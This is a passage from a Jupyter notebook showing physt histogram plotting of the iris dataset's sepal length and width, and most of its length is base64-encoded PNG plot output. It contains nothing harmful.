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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "iris = sns.load_dataset('iris')\n", "iris_hist = physt.h2(iris[\"sepal_length\"], iris[\"sepal_width\"], \"human\", bin_count=[12, 7], name=\"Iris\")\n", "iris_hist.plot(show_zero=False, cmap=cm.gray_r, show_values=True, format_value=int);" ] }, { "cell_type": "code", "execution_count": 33, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAEYCAYAAAAJeGK1AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/Z1A+gAAAACXBIWXMAAAsTAAALEwEAmpwYAAARgElEQVR4nO3df4xlZX3H8fen7DYqPxTDiIhuVw3Voo0LjiBiiBa1ICraapRYBWq7asEfrbahJlUS0xZbFUQNdhUKRsVYhEqFUihqKLal7iIKdLVauyiwZRdFQKUq8O0f9ywZh5mdOzN3Zp6z9/1KJnPvOc+95/vkYfnMc+85z0lVIUlSa35ppQuQJGkmBpQkqUkGlCSpSQaUJKlJBpQkqUkGlCSpSQaUtMSSvDrJ5Stdh9Q38TooafGSbAF+r6r+eaVrkXYVzqCkJZRk1UrXIPWVASWNUJITknw5yelJfgCc2m27utufbt+2JHcm+XqSp65w2VKT/OtOGr1DgU8DjwJWA6+csu8FwBHArwJ3Ak8GfrjM9Um94AxKGr1bq+qDVXVvVd0zbd/PgT0ZBFOqanNVbV3+EqX2GVDS6H1vth1V9QXgQ8CHgduSbEiy17JVJvWIASWN3k5Pja2qM6vq6cBTGHzU98fLUpXUM34HJS2jJM9g8IfhtcCPgf8D7lvRoqRGOYOSltdewEeBO4CbgO8D713RiqRGeaGuJKlJzqAkSU0yoCRJTTKgJElNMqAkSU2a8zTzJI8DPg48Grgf2FBVH0hyKvD7wPau6Tuq6tKdvdc+++xTa9euXVTBkqR+2bRp0+1VNTHf1w1zHdS9wNuq6tokewKbklzR7Tu9qoY+RXbt2rVs3LhxvjVKknosyU0Led2cAdWtE7a1e3x3ks3A/gs5mCRJw5rXd1BJ1gIHAdd0m07ubhdwTpK9Z3nN+iQbk2zcvn37TE0kSXqQoQMqyR7AZ4G3VtVdwFnAE4F1DGZY75vpdVW1oaomq2pyYmLeH0FKksbUUAGVZDWDcPpkVV0IUFW3VdV9VXU/g6VbDlm6MiVJ42bOgEoS4Gxgc1W9f8r2/aY0exlww+jLkySNq2HO4jsceA1wfZLrum3vAI5Lso7BrQW2AK9fgvokSWNqmLP4rgYyw66dXvMkSdJiuJKEJKlJBpQkqUkGlCSpSQaUJKlJBpQkqUkGlCSpSQaUJKlJBpQkqUkGlCSpSQaUJKlJBpQkqUnDLBarFbL2lEuW5ThbTjtmWY4jSfPhDEqS1CQDSpLUJANKktQkA0qS1CQDSpLUJANKktQkA0qS1CQDSpLUJANKktQkA0qS1CQDSpLUJANKktQkA0qS1CQDSpLUJANKktQkA0qS1CQDSpLUJO+oq2Xh3YElzZczKElSkwwoSVKTDChJUpMMKElSk+YMqCSPS/LFJJuT3JjkLd32Rya5Ism3ut97L325kqRxMcwM6l7gbVX1a8AzgZOSHAicAlxZVQcAV3bPJUkaiTkDqqq2VtW13eO7gc3A/sCxwHlds/OAly5RjZKkMTSv76CSrAUOAq4B9q2qrTAIMeBRs7xmfZKNST